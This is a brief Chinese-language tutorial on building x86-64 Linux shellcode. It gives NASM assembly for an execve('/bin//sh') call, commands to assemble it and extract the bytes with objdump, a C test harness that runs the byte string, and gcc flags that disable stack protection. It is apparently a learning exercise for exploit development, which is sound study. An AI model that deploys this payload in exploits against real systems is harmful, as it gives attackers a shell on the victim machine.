1、将下述汇编代码存储为sh.s
section .text
global _start
_start:
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall
2、用nasm编译执行
nasm -f elf64sh.s -o sh.o
ld sh.o -o sh
3、显示汇编代码
objdump --disassemble ./sh
4、将上述得到的shellcode写入代码
#include <stdio.h>
unsigned charshellcode[] = \
"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
5、gcc编译执行
gcc -fno-stack-protector -z execstack shell.c -o shell
